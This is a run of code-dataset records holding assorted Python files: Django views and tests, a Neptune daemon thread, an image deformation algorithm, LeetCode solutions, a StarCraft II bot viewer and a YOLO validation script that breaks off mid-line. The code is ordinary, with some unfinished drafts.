ventas_tiendas = list(map(lambda x: (DimTienda.objects.get(id_tienda = x['id_tienda']).nombre_tienda, x['monto_venta__sum']), ventas_tiendas))\n \n return render(request, 'chart.html', {'ventas': ventas_tiendas})\n else:\n ctx['errors'].append('Debes introducir una fecha de inicio y fin y subir un archivo Excel')\n\n return render(request, 'form.html', ctx)","sub_path":"etldwh/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4157,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"518340033","text":"from crawlers.common.conexao_local import cursorConexao\nfrom common_nlp.mNB_classification_text import mNB_classification_text\nimport numpy as np\n\n\ncursor = cursorConexao()\ncursor.execute('SELECT texto_decisao, classificacao from jurisprudencia_2_inst.jurisprudencia_2_inst where classificacao is not null limit 5;')\ndados = cursor.fetchall()\nacuracia = np.array([])\nfor i in range(1,len(dados)-1):\n\tdados_treino = dados[:i]+dados[i+1:]\n\tdados_teste = dados[i]\n\tmNB = mNB_classification_text(dados_treino)\n\tfor texto, class_t in dados_teste:\n\t\tif (mNB.test_mNB([texto]) == class_t):\n\t\t\tacuracia = 1\n\t\telse:\n\t\t\tacuracia = 0\n\t\tacuracia.insert(int(classificacao))\nprint(np.mean(acuracia))","sub_path":"rascunhos.py","file_name":"rascunhos.py","file_ext":"py","file_size_in_byte":685,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"248779439","text":"#\n# Copyright (c) 2020, Neptune Labs Sp. z o.o.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n#\nimport abc\nimport functools\nimport sys\nimport threading\nimport time\n\nimport click\n\nfrom neptune.new.exceptions import NeptuneConnectionLostException\n\n\nclass Daemon(threading.Thread):\n\n def __init__(self, sleep_time: float):\n super().__init__(daemon=True)\n self._sleep_time = sleep_time\n self._interrupted = False\n self._event = threading.Event()\n self._is_running = False\n self.last_backoff_time = 0 # used only with ConnectionRetryWrapper decorator\n\n def interrupt(self):\n self._interrupted = True\n self.wake_up()\n\n def wake_up(self):\n self._event.set()\n\n def disable_sleep(self):\n self._sleep_time = 0\n\n def is_running(self) -> bool:\n return self._is_running\n\n def run(self):\n self._is_running = True\n try:\n while not self._interrupted:\n self.work()\n if self._sleep_time > 0 and not self._interrupted:\n self._event.wait(timeout=self._sleep_time)\n self._event.clear()\n finally:\n self._is_running = False\n\n @abc.abstractmethod\n def work(self):\n pass\n\n class ConnectionRetryWrapper:\n INITIAL_RETRY_BACKOFF = 2\n MAX_RETRY_BACKOFF = 120\n\n def __init__(self, kill_message):\n self.kill_message = kill_message\n\n def __call__(self, func):\n @functools.wraps(func)\n def wrapper(self_: Daemon, *args, **kwargs):\n # pylint: disable=protected-access\n while not self_._interrupted:\n try:\n result = func(self_, *args, **kwargs)\n if self_.last_backoff_time > 0:\n self_.last_backoff_time = 0\n click.echo(\"Communication with Neptune restored!\", sys.stderr)\n return result\n except NeptuneConnectionLostException:\n if self_.last_backoff_time == 0:\n click.echo(\"Experiencing connection interruptions. \"\n \"Will try to reestablish communication with Neptune.\",\n sys.stderr)\n self_.last_backoff_time = self.INITIAL_RETRY_BACKOFF\n else:\n self_.last_backoff_time = min(self_.last_backoff_time * 2, self.MAX_RETRY_BACKOFF)\n time.sleep(self_.last_backoff_time)\n except Exception:\n click.echo(\n f\"Unexpected error occurred in Neptune background thread: {self.kill_message}\",\n sys.stderr\n )\n raise\n\n return wrapper\n","sub_path":"neptune/new/internal/threading/daemon.py","file_name":"daemon.py","file_ext":"py","file_size_in_byte":3436,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"255257377","text":"import sys\nimport numpy as np\nfrom skimage.transform import resize\nfrom scipy.ndimage.filters import correlate\nimport cv2\nfrom DeformImage import DeformImage\n\ndef fspecial(shape=(3,3),sigma=0.5):\n \"\"\"\n 2D gaussian mask - should give the same result as MATLAB's\n fspecial('gaussian',[shape],[sigma])\n From: https://stackoverflow.com/questions/17190649/how-to-obtain-a-gaussian-filter-in-python\n \"\"\"\n m,n = [(ss-1.)/2. for ss in shape]\n y,x = np.ogrid[-m:m+1,-n:n+1]\n h = np.exp( -(x*x + y*y) / (2.*sigma*sigma) )\n h[ h < np.finfo(h.dtype).eps*h.max() ] = 0\n sumh = h.sum()\n if sumh != 0:\n h /= sumh\n return h\n\ndef hist_match(source, template):\n \"\"\"\n Adjust the pixel values of a grayscale image such that its histogram\n matches that of a target image\n\n Arguments:\n -----------\n source: np.ndarray\n Image to transform; the histogram is computed over the flattened\n array\n template: np.ndarray\n Template image; can have different dimensions to source\n Returns:\n -----------\n matched: np.ndarray\n The transformed output image\n From: https://stackoverflow.com/questions/32655686/histogram-matching-of-two-images-in-python-2-x\n \"\"\"\n\n oldshape = source.shape\n source = source.ravel()\n template = template.ravel()\n\n # get the set of unique pixel values and their corresponding indices and\n # counts\n s_values, bin_idx, s_counts = np.unique(source, return_inverse=True,\n return_counts=True)\n t_values, t_counts = np.unique(template, return_counts=True)\n\n # take the cumsum of the counts and normalize by the number of pixels to\n # get the empirical cumulative distribution functions for the source and\n # template images (maps pixel value --> quantile)\n s_quantiles = np.cumsum(s_counts).astype(np.float64)\n s_quantiles /= s_quantiles[-1]\n t_quantiles = np.cumsum(t_counts).astype(np.float64)\n t_quantiles /= t_quantiles[-1]\n\n # interpolate linearly to find the pixel values in the template image\n # that correspond most closely to the quantiles in the source image\n interp_t_values = np.interp(s_quantiles, t_quantiles, t_values)\n\n return interp_t_values[bin_idx].reshape(oldshape)\n\ndef ComputeDeformation(I1,I2,MaxIter,NumPyramids,\n filterSize,filterSigma,Tolerance,\n alpha,plotFreq):\n \"\"\"\n Demon Algorithm\n - Implementation of Thirion's Demon Algorithm in 2D.\n Computes the deformation between I2 and I1.\n - Original Matlab implementation by Lewis Li (lewisli@stanford.edu)\n - Converted to Python by J. Hariharan (jayaram.hariharan@utexas.edu)\n Feb 1 2020\n\n Function Parameters:\n - I1: Image 1\n - I2: Image 2\n - MaxIter: Maximum of iterations\n - NumPyramids: Number of pyramids for downsizing\n - filterSize: Size of Gaussian filter used for smoothing deformation meshgrid\n - Tolerance: MSE convergence tolerance\n - alpha: Constant for Extended Demon Force (Cachier 1999). If alpha==0, run regular Demon force\n - plotFreq: Number of iterations per plot update. Set to 0 to turn off plotting\n \"\"\"\n\n # How much MSE can increase between iterations before terminating\n MSETolerance = 1 + Tolerance\n MSEConvergenceCriterion = Tolerance\n\n # alpha (noise) constant for Extended Demon Force\n alphaInit = alpha\n\n # pyramid step size\n pyStepSize = 1.0 / NumPyramids\n\n # initial transformation field is smallest possible size\n initialScale = 1 * pyStepSize\n prevScale = initialScale\n\n TxPrev = np.zeros( [int(np.ceil(np.shape(I1)[0]*initialScale)) , int(np.ceil(np.shape(I1)[1]*initialScale)) ] )\n TyPrev = np.zeros( [int(np.ceil(np.shape(I1)[0]*initialScale)) , int(np.ceil(np.shape(I1)[1]*initialScale)) ] )\n\n # iterate over each pyramid\n for pyNum in range(1,NumPyramids+1):\n print('pyNum: ' + str(pyNum))\n\n scaleFactor = pyNum * pyStepSize\n\n # increase size of smoothing filter\n Hsmooth = fspecial([filterSize[0]*scaleFactor,filterSize[1]*scaleFactor],filterSigma*scaleFactor)\n\n # only needed if using extended demon force\n alpha = alphaInit / pyNum\n\n # resize images according to pyramid steps\n ### S and M definition currently not same as MATLAB version !!!\n I2 = resize(I2, [np.ceil(np.shape(I2)[0]*scaleFactor),np.ceil(np.shape(I2)[1]*scaleFactor)])\n I2 = np.double(I2)\n out2 = np.zeros(I2.shape, np.double)\n S = cv2.normalize(I2, out2, 1.0, 0.0, cv2.NORM_MINMAX)\n\n I1 = resize(I1, [np.ceil(np.shape(I1)[0]*scaleFactor),np.ceil(np.shape(I1)[1]*scaleFactor)])\n I1 = np.double(I1)\n out1 = np.zeros(I1.shape, np.double)\n M = cv2.normalize(I1, out1, 1.0, 0.0, cv2.NORM_MINMAX)\n\n # compute MSE\n prevMSE = np.abs(M-S)**2\n StartingImage = M\n\n # histogram match\n # M = hist_match(M, S)\n\n # transformation fields:\n # transformation field for current pyramid is the transformation field\n # at the previous pyramid bilinearly interpolated to current size. The\n # magnitudes of the deformations needs to be scaled by the change in\n # scale too.\n Tx = resize(TxPrev, np.shape(S))*scaleFactor/prevScale\n Ty = resize(TyPrev, np.shape(S))*scaleFactor/prevScale\n\n M = DeformImage(StartingImage,Tx,Ty)\n prevScale = scaleFactor\n\n [Sy,Sx] = np.gradient(S)\n\n for itt in range(1,MaxIter+1):\n print('itt: ' + str(itt))\n\n # difference image between moving and static image\n import pdb; pdb.set_trace()\n Idiff = M - S\n\n if alpha == 0:\n # default demon force (Thirion 1998)\n Ux = -(Idiff*Sx) / ( (Sx**2 + Sy**2) + Idiff**2 )\n Uy = -(Idiff*Sy) / ( (Sx**2 + Sy**2) + Idiff**2 )\n else:\n # extended demon force. faster convergence but more unstable\n # (Cachier 1999, He Wang 2005)\n [My,Mx] = np.gradient(M)\n Ux = -Idiff * ( (Sx/((Sx**2+Sy**2) + alpha**2 * Idiff**2) ) + (Mx/((Mx**2+My**2)+alpha**2 * Idiff**2)) )\n Uy = -Idiff * ((Sy/((Sx**2+Sy**2)+alpha**2*Idiff**2))+(My/((Mx**2+My**2)+alpha**2*Idiff**2)))\n\n # when divided by zero\n Ux[np.isnan(Ux)] = 0\n Uy[np.isnan(Uy)] = 0\n\n # smooth the transformation field\n Uxs = 3*correlate(Ux,Hsmooth)\n Uys = 3*correlate(Uy,Hsmooth)\n\n # add new transformation field to the total transformation field\n Tx = Tx + Uxs\n Ty = Ty + Uys\n\n M = DeformImage(StartingImage,Tx,Ty)\n\n D = np.abs(M-S)**2\n [sA,sB] = np.shape(S)\n MSE = np.sum( D[:]/(sA*sB) )\n\n if MSETolerance > 0:\n # break if MSE is increasing\n if MSE > np.sum(prevMSE)*MSETolerance:\n print('Pyramid Level: ' + str(pyNum) + ' converged after ' + str(itt) + ' iterations.')\n sys.exit()\n else:\n pass\n\n # break if MSE isn't really decreasing much\n if np.abs(np.sum(prevMSE)-MSE)/MSE < MSEConvergenceCriterion:\n print('Pyramid Level: ' + str(pyNum) + ' converged after ' + str(itt) + ' iterations.')\n sys.exit()\n else:\n pass\n\n else:\n pass\n\n # update MSE\n prevMSE = MSE\n\n if plotFreq > 0:\n # add plot stuff here\n pass\n else:\n pass\n\n # propogate transformation to next pyramid\n TxPrev = Tx\n TyPrev = Ty\n\n return Tx, Ty\n","sub_path":"Python2D/ComputeDeformation.py","file_name":"ComputeDeformation.py","file_ext":"py","file_size_in_byte":7879,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"187280239","text":"# linear O(n) time and O(1) space\n\"\"\"\n \"I I I D I D D D\"\ncurr 1 2 3 4 4 6 6 6 6\ndecrease.0 0 0 1 0 1 2 3 6+3 -->6\nans => 1 12 123 123 12354 123549876\n\"\"\"\nclass Solution:\n def smallestNumber(self, p: str) -> str:\n ans = 0\n curr, decrease = 1, 0\n for char in p:\n if char == \"I\":\n for i in range(curr+decrease, curr-1, -1):\n ans = ans*10+i\n curr += decrease+1\n decrease = 0\n else:\n decrease += 1\n for i in range(curr+decrease, curr-1, -1):\n ans = ans*10+i\n return str(ans)\n# using stack, o(n) time and space\nclass Solution:\n def smallestNumber(self, p: str) -> str:\n ans, stack = [], []\n for i, char in enumerate(p+\"I\"):\n stack.append(i+1)\n if char == 'I':\n ans.extend(stack[::-1])\n stack = []\n return \"\".join(map(str, ans))\n\n# backtracking\nclass Solution:\n def smallestNumber(self, p: str) -> str:\n p = \"I\" + p\n n = len(p)\n ans = int('9'*(n+1))\n can = [0]*10\n def backtrack(i, curr, n):\n nonlocal ans\n if i == n:\n ans = min(ans, curr)\n return\n if p[i] == 'I':\n s, e = curr%10+1, 10\n else:\n s, e = 1, curr%10\n for j in range(s, e):\n if not can[j]:\n curr *= 10\n curr += j\n can[j] = 1\n backtrack(i+1, curr, n)\n curr -= j\n curr//= 10\n can[j] = 0\n backtrack(0, 0, n)\n return str(ans) ","sub_path":"2375. Construct Smallest Number From DI String.py","file_name":"2375. Construct Smallest Number From DI String.py","file_ext":"py","file_size_in_byte":1788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"313653986","text":"from drain.data import FromSQL\nfrom drain.aggregate import Count\nfrom drain.aggregation import SpacetimeAggregation\nfrom itertools import product\n\nKEYWORDS = ['water', 'paint', 'window', 'wall', 'porch', 'chip', 'flak', 'peel']\nSTATUS = (['OPEN', 'COMPLIED', 'NO ENTRY'],\n ['open', 'complied', 'no_entry'])\n\nKEYWORD_COLUMNS = str.join(', ', \n (\"violation_description ~* '{0}' \"\n \"or violation_inspector_comments ~* '{0}' AS {0}\".format(k) \n for k in KEYWORDS))\n\nSTATUS_COLUMNS = str.join(', ',\n (\"violation_status = '{0}' AS {1}\".format(*s) \n for s in zip(*STATUS)))\n\nviolations = FromSQL(\"\"\"\nselect a.*, violation_date, violation_status, \n violation_status_date, %s, %s\nfrom input.building_violations \njoin output.addresses a using (address)\n\"\"\" % (KEYWORD_COLUMNS, STATUS_COLUMNS), \n parse_dates=['violation_date', 'violation_status_date'], \n tables=['input.building_violations', 'output.addresses'],\n target=True)\n\nclass ViolationsAggregation(SpacetimeAggregation):\n def __init__(self, spacedeltas, dates, **kwargs):\n SpacetimeAggregation.__init__(self, \n spacedeltas=spacedeltas, dates=dates, \n prefix = 'violations', date_column = 'violation_date',\n censor_columns = {'violation_status_date': ['violation_status']}, **kwargs)\n\n if not self.parallel:\n self.inputs = [violations]\n\n def get_aggregates(self, date, data):\n aggregates = [\n Count(),\n Count(KEYWORDS, prop=True),\n Count(STATUS[1], prop=True),\n Count([lambda v,k=k,s=s: v[k] & v[s]\n for k,s in product(KEYWORDS, STATUS[1])], prop=True,\n name=['%s_%s' % p for p in product(KEYWORDS, STATUS[1])]\n )\n ]\n \n return aggregates\n","sub_path":"output/violations.py","file_name":"violations.py","file_ext":"py","file_size_in_byte":1852,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"483533993","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport os\n\ntry:\n from setuptools import setup\nexcept ImportError:\n print('\\n*** setuptools not found! Falling back to distutils\\n\\n')\n from distutils.core import setup\n\n\ndef read(fname):\n return open(os.path.join(os.path.dirname(__file__), fname)).read()\n\n\nsetup(name='Folio',\n version='0.4',\n author='Juan M Martínez',\n author_email='jm@guide42.com',\n description='A Pythonic static website generator based on Jinja2.',\n long_description=read('README'),\n license='ISC',\n url='http://pyfolio.org',\n platforms='any',\n packages=['folio', 'folio.ext'],\n test_suite='tests',\n install_requires=['Jinja2'],\n classifiers=['Programming Language :: Python',\n 'Environment :: Web Environment',\n 'Development Status :: 3 - Alpha',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: ISC License (ISCL)',\n 'Operating System :: OS Independent',\n 'Topic :: Internet :: WWW/HTTP',\n 'Topic :: Internet :: WWW/HTTP :: Site Management',\n 'Topic :: Text Processing',\n 'Topic :: Text Processing :: Markup',\n 'Topic :: Text Processing :: Markup :: HTML',\n 'Topic :: Utilities']\n )\n","sub_path":"pypi_install_script/Folio-0.4.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1396,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"537733599","text":"import math\n\nimport numpy as np\nfrom sc2.ids.unit_typeid import UnitTypeId\nfrom sc2.helpers.control_group import ControlGroup\n\nfrom . import constants as C\n\nclass StateView():\n def __init__(self):\n self.map_size = [int(round(size)) for size in self.game_info.map_size]\n self.map_size_sum = self.map_size[0] + self.map_size[1]\n self.meta = np.zeros(16) #TODO move\n self.control_groups = [ControlGroup([]) for i in range(C.CONTROL_GROUPS_COUNT)]\n # todo add units to control_groups\n\n ## utils\n @staticmethod\n def one_hot_encode(size, value):\n return np.eye(1, size, value).reshape(-1)\n\n @staticmethod\n def get_unit_rouded_position(unit):\n return unit.position.rounded\n\n @staticmethod\n def get_zerg_unit_id(unit):\n return C.ZERG_UNITS_IDS.index(unit.type_id)\n\n @staticmethod\n def get_unit_health(unit):\n return math.floor(unit.health_percentage * (C.HEALTH_VIEWED_SIZE - 1))\n\n @staticmethod\n def zero_pad_1d(array, final_length):\n return np.pad(array, (0, final_length - len(array)), mode='constant')\n \n ## control group update\n async def on_unit_destroyed(self, unit_tag):\n for control_group in self.control_groups:\n if unit_tag in control_group:\n control_group.remove_unit(unit_tag)\n\n async def on_unit_created(self, unit):\n if not unit.unit_typeid in [C.ZERG_MILITARY_UNIT_TYPEID_IDS]:\n for control_group in self.control_groups:\n if control_group.amount < C.CONTROL_GROUPS_MAX_UNIT_COUNT:\n control_group.add_unit(unit)\n\n ## views\n def eco_viewer(self):\n '''\n WIP\n Projection of the game state for an AI controlling the workers in the gathering group.\n\n It uses data from:\n - known_enemy_units Units\n - townhalls Units\n - geysers Units\n - gathering_workers_group ControlGroup\n - mineral_field Units\n\n And return the following structure:\n\n '''\n self.known_enemy_units #Units\n self.townhalls #Units\n self.geysers #Units\n self.workers #> filter worker building #Units\n self.mineral_field #Units\n \n def queens_viewer(self):\n pass\n\n @property\n def building_view_size(self):\n return 16 + 1 + 1 + C.MAX_ZERG_BUILDINGS_VIEWED_PER_TYPE * len(C.ZERG_BUILDINGS_IDS) + (self.map_size_sum + len(C.ZERG_UNITS_IDS)) * C.MAX_ENEMY_UNITS_VIEWED\n\n def building_viewer(self):\n '''\n Projection of the game state for an AI controlling the construction of buildings.\n\n It uses data from:\n - meta number[]\n - units Units\n - workers Units\n - minerals number\n - vespene number\n - known_enemy_units Units\n\n And return the following structure:\n - meta 16\n - minerals 1\n - vespene 1\n - structure_units len(C.ZERG_BUILDINGS_UNIT_TYPEID_IDS)\n - known_enemy_units (self.map_size_sum + len(C.ZERG_UNITS_IDS)) * C.MAX_ENEMY_UNITS_VIEWED\n '''\n def structure_units_to_view():\n view = np.array([])\n\n for unit_type in C.ZERG_BUILDINGS_UNIT_TYPEID_IDS:\n # TODO filter only once\n if unit_type.value in self._game_data.units:\n ability = self._game_data.units[unit_type.value].creation_ability\n\n amount = len(self.units(unit_type).not_ready)\n amount += sum([o.ability == ability for w in self.workers for o in w.orders])\n\n view = np.concatenate((\n view,\n self.one_hot_encode(C.MAX_ZERG_BUILDINGS_VIEWED_PER_TYPE, max([amount, C.MAX_ZERG_BUILDINGS_VIEWED_PER_TYPE - 1]))\n ))\n \n return self.zero_pad_1d(view, C.MAX_ZERG_BUILDINGS_VIEWED_PER_TYPE * len(C.ZERG_BUILDINGS_IDS))\n\n def known_enemy_units_to_view():\n known_enemy_units = self.known_enemy_units.take(C.MAX_ENEMY_UNITS_VIEWED, False)\n view_size = (self.map_size_sum + len(C.ZERG_UNITS_IDS)) * C.MAX_ENEMY_UNITS_VIEWED\n\n view = np.array([])\n\n for known_enemy_unit in known_enemy_units:\n if known_enemy_unit.type_id in C.ZERG_UNITS_IDS:\n position = self.get_unit_rouded_position(known_enemy_unit)\n unit_id_idx = self.get_zerg_unit_id(known_enemy_unit)\n\n view = np.concatenate((\n view,\n self.one_hot_encode(len(C.ZERG_UNITS_IDS), unit_id_idx),\n self.one_hot_encode(self.map_size[0], position[0]),\n self.one_hot_encode(self.map_size[1], position[1])\n ))\n \n return self.zero_pad_1d(view, view_size)\n\n return np.concatenate((\n self.meta, \n [self.minerals],\n [self.vespene],\n structure_units_to_view(),\n known_enemy_units_to_view()\n ))\n \n @property\n def production_view_size(self):\n return 16 + 1 + 1 + len(C.ZERG_UNITS_LARVATRAINABLE_IDS) + len(C.ZERG_UNITS_LARVATRAINABLE_IDS)\n\n def production_viewer(self):\n '''\n Projection of the game state for an AI controlling the production of units.\n\n It uses data from:\n - meta number[]\n - units Units\n - known_enemy_units Units\n - already_pending(UnitTypeId) number\n - minerals number\n - vespene number\n\n And return the following structure:\n - meta 16\n - minerals 1\n - vespene 1\n - known_enemy_units_count len(C.ZERG_UNITS_LARVATRAINABLE_IDS)\n - units_count len(C.ZERG_UNITS_LARVATRAINABLE_IDS)\n '''\n def known_enemy_units_to_view():\n view = np.zeros(len(C.ZERG_UNITS_LARVATRAINABLE_IDS))\n\n for known_enemy_unit in self.known_enemy_units:\n if known_enemy_unit.type_id in C.ZERG_UNITS_LARVATRAINABLE_IDS:\n view[C.get_zerg_unit_id(known_enemy_unit)] += 0.01\n \n return view #softmax ?\n\n def units_including_pending():\n view = np.zeros(len(C.ZERG_UNITS_LARVATRAINABLE_IDS))\n\n for unit in self.units.filter(lambda u: not u.is_structure):\n if unit.type_id in C.ZERG_UNITS_LARVATRAINABLE_IDS:\n view[C.get_zerg_unit_id(known_enemy_unit)] += 0.01\n \n for unit_id_idx, unit_type_idx in enumerate(C.ZERG_UNITS_LARVATRAINABLE_IDS):\n view[unit_id_idx] += self.already_pending(UnitTypeId(unit_type_idx)) / 100\n \n return view #softmax ?\n\n return np.concatenate((\n self.meta,\n [self.minerals],\n [self.vespene],\n known_enemy_units_to_view(),\n units_including_pending()\n ))\n \n @property\n def military_view_size(self):\n return (16 + \n C.MAX_ZERG_BUILDINGS_VIEWED_PER_TYPE * self.map_size_sum +\n C.MAX_ENEMY_UNITS_VIEWED * (len(C.ZERG_UNITS_IDS) + self.map_size_sum + C.HEALTH_VIEWED_SIZE) +\n C.CONTROL_GROUPS_MAX_UNIT_COUNT * (len(C.ZERG_UNITS_IDS) + self.map_size_sum + C.HEALTH_VIEWED_SIZE) * C.CONTROL_GROUPS_COUNT\n )\n\n def military_viewer(self):\n '''\n Projection of the game state for an AI controlling the military units.\n\n It uses data from:\n - meta number[]\n - units Units\n - known_enemy_units Units\n - control_groups ControlGroup\n\n And return the following structure:\n - meta 16\n - townhall C.MAX_ZERG_BUILDINGS_VIEWED_PER_TYPE * self.map_size_sum\n - known_enemy_units C.MAX_ENEMY_UNITS_VIEWED * (len(C.ZERG_UNITS_IDS) + self.map_size_sum + C.HEALTH_VIEWED_SIZE)\n - units_groups C.CONTROL_GROUPS_MAX_UNIT_COUNT * (len(C.ZERG_UNITS_IDS) + self.map_size_sum + C.HEALTH_VIEWED_SIZE) * C.CONTROL_GROUPS_COUNT\n '''\n def townhalls_to_view():\n max_encoded_townhalls = C.MAX_ZERG_BUILDINGS_VIEWED_PER_TYPE\n view_size = max_encoded_townhalls * self.map_size_sum\n\n townhalls = self.townhalls.take(max_encoded_townhalls, False)\n\n view = np.array([])\n\n for townhall in townhalls:\n position = self.get_unit_rouded_position(townhall)\n\n view = np.concatenate((\n view,\n self.one_hot_encode(self.map_size[0], position[0]),\n self.one_hot_encode(self.map_size[1], position[1])\n ))\n \n return self.zero_pad_1d(view, view_size)\n\n def known_enemy_units_to_view():\n known_enemy_units = self.known_enemy_units.take(C.MAX_ENEMY_UNITS_VIEWED, False)\n view_size = C.MAX_ENEMY_UNITS_VIEWED * (len(C.ZERG_UNITS_IDS) + self.map_size_sum + C.HEALTH_VIEWED_SIZE)\n\n view = np.array([])\n for unit in known_enemy_units:\n if unit.type_id in C.ZERG_UNITS_IDS:\n position = get_unit_rouded_position(unit)\n\n view = np.concatenate((\n view,\n self.one_hot_encode(len(C.ZERG_UNITS_IDS), self.get_zerg_unit_id(unit)),\n self.one_hot_encode(self.map_size[0], position[0]),\n self.one_hot_encode(self.map_size[1], position[1]),\n self.one_hot_encode(C.HEALTH_VIEWED_SIZE, self.get_unit_health(unit))\n ))\n\n return self.zero_pad_1d(view, view_size)\n\n def units_groups_to_view():\n # view creation\n view = np.array([])\n control_group_view_size = C.CONTROL_GROUPS_MAX_UNIT_COUNT * (len(C.ZERG_UNITS_IDS) + self.map_size_sum + C.HEALTH_VIEWED_SIZE)\n view_size = control_group_view_size * C.CONTROL_GROUPS_COUNT\n\n for control_group in self.control_groups:\n units = control_group.select_units(self.units)\n control_group_view = np.array([])\n\n for unit in control_group:\n if unit.type_id in C.ZERG_UNITS_IDS:\n position = self.get_unit_rouded_position(unit)\n\n view = np.concatenate((\n view,\n self.one_hot_encode(len(C.ZERG_UNITS_IDS), self.get_zerg_unit_id(unit)),\n self.one_hot_encode(self.map_size[0], position[0]),\n self.one_hot_encode(self.map_size[1], position[1]),\n self.one_hot_encode(C.HEALTH_VIEWED_SIZE, self.get_unit_health(unit))\n ))\n\n view = np.concatenate((\n view,\n self.zero_pad_1d(control_group_view, control_group_view_size)\n ))\n \n return self.zero_pad_1d(view, view_size)\n \n return np.concatenate((\n self.meta,\n townhalls_to_view(),\n known_enemy_units_to_view(),\n units_groups_to_view()\n ))\n\n def research_viewer(self):\n pass\n \n def meta_viewer(self):\n pass","sub_path":"bot/modelv0/state_view.py","file_name":"state_view.py","file_ext":"py","file_size_in_byte":11816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"306949590","text":"from django.core.urlresolvers import reverse\nfrom django.template import Template, Context\nfrom django.test import TestCase\nimport datetime\nfrom events_calendar.models import Event\nfrom events_calendar.views import produce_calendar\nfrom test_data import *\n\n\nclass EventModel(TestCase):\n\n DATE = datetime.datetime.now()\n\n def setUp(self):\n self.event = Event(\n date=datetime.date(2016, 1, 1),\n start_time=datetime.time(12, 00, 00),\n end_time=datetime.time(18, 00, 00),\n title='Test Event',\n place='Test Place',\n description='Test event for testing'\n )\n self.event.save()\n\n\nclass EventModelTestCase(EventModel):\n def test_get_start_time(self):\n start_time = self.event.get_start_time()\n self.assertEqual(start_time, '12:00 PM')\n\n def test_get_end_time(self):\n end_time = self.event.get_end_time()\n self.assertEqual(end_time, '6:00 PM')\n\n\nclass EventViewTestCase(EventModel):\n def test_produce_calendar(self):\n month_name, year, current_day, weekdays, month_calendar, no_events = produce_calendar(1, 2016)\n self.assertEqual(month_name, 'January')\n self.assertEqual(year, 2016)\n self.assertEqual(current_day, int(self.DATE.strftime(\"%d\")))\n self.assertEqual(weekdays, test_weekdays)\n self.assertIn('[]', str(month_calendar))\n\n def test_calendar_view(self):\n response = self.client.get(\n reverse('calendar', kwargs={'year': 2016, 'month': 1})\n )\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.context['month_name'], 'January')\n self.assertEqual(response.context['year'], 2016)\n self.assertEqual(response.context['current_day'], int(self.DATE.strftime(\"%d\")))\n self.assertEqual(response.context['month'], 1)\n self.assertEqual(response.context['weekdays'], test_weekdays)\n self.assertIn('[]', str(response.context['month_calendar']))\n\n def test_event_view(self):\n response = self.client.get(reverse('event', kwargs={'id': self.event.id}))\n self.assertEqual(response.status_code, 200)\n self.assertEqual(response.context['event'], self.event)\n\n\nclass EventTemplateTagTestCase(EventModel):\n def test_render_calendar(self):\n self.template = Template(\"{% load events_calendar_tags %} {% render_calendar %}\")\n rendered = self.template.render(Context({}))\n self.assertIn(\"getCalendar('%s', '%s')\" % (self.DATE.year, self.DATE.month), rendered)\n\n def test_upcoming_events(self):\n self.template = Template(\"{% load events_calendar_tags %} {% render_upcoming_events %}\")\n rendered = self.template.render(Context({}))\n self.assertIn(\"Upcoming Events\", rendered)\n","sub_path":"tests/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":2828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"24"} +{"seq_id":"633700341","text":"import numpy as np\nimport pandas as pd\nfrom scipy.special import expit\nimport torch\nfrom torch.utils.data import Dataset, DataLoader\nfrom torchvision import transforms, utils\n\nfrom yolo.yolo_accuracy import accuracy, calc_iou_centwh, accuracyiou\nfrom yolo.yolo_import import AnimalBoundBoxDataset, AnimalBoundBoxMetaDataset, ToTensor, MakeMat\nfrom yolo.yolo_net import YoloNet, YoloNetMeta, YoloNetSimp, YoloNetOrig\nfrom yolo.yolo_valid_utils import simple_nms, softmax, yolo_output_to_box_vec\nfrom yolo.yolo_weights import get_weights\n\n\ndevice = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\nprint(device)\n\n# if using metadata\nuse_meta = True\nname_out = 'rgb_meta'\nbasedir = '/data/GFRC_data/'\nsave_dir = basedir + 'output/' + name_out + \"/\"\nnepochs = 200\nepochstart = 0\n\ndataset_to_use = 'GFRC'\nbin_yn = True\ngrey_tf = False\norig_size = True \n\n# colour or greyscale\nif grey_tf:\n channels_in = 1\nelse:\n channels_in = 3\n\nif use_meta:\n name_out = 'meta_ci_end'\n colz = ['lowerci', 'upperci']\n metadata_end = True\n channels_in = channels_in + len(colz)\nelse:\n metadata_end = False\n\n### GFRC\nimg_w = 1856\nimg_h = 1248\nmax_annotations = 14\nvalid_imgs = 244\nanchors = [[2.387088, 2.985595], [1.540179, 1.654902], [3.961755, 3.936809], [2.681468, 1.803889],\n [5.319540, 6.116692]]\nif bin_yn:\n # Bin\n files_location = basedir + 'yolo_valid_1248_binary/'\n nclazz = 1\nelse:\n # Multi\n files_location = basedir + 'yolo_valid_1248_multi/'\n nclazz = 6\n\nif orig_size:\n # Original net size\n box_size = [32, 32]\nelse:\n # Simplified net size\n box_size = [16, 16]\n\n### continue\nweightspath = basedir + \"weights/yolov2.weights\"\nsave_name = \"testing_save_\"\nnms_threshold_out = 0.25\nconf_threshold_summary = 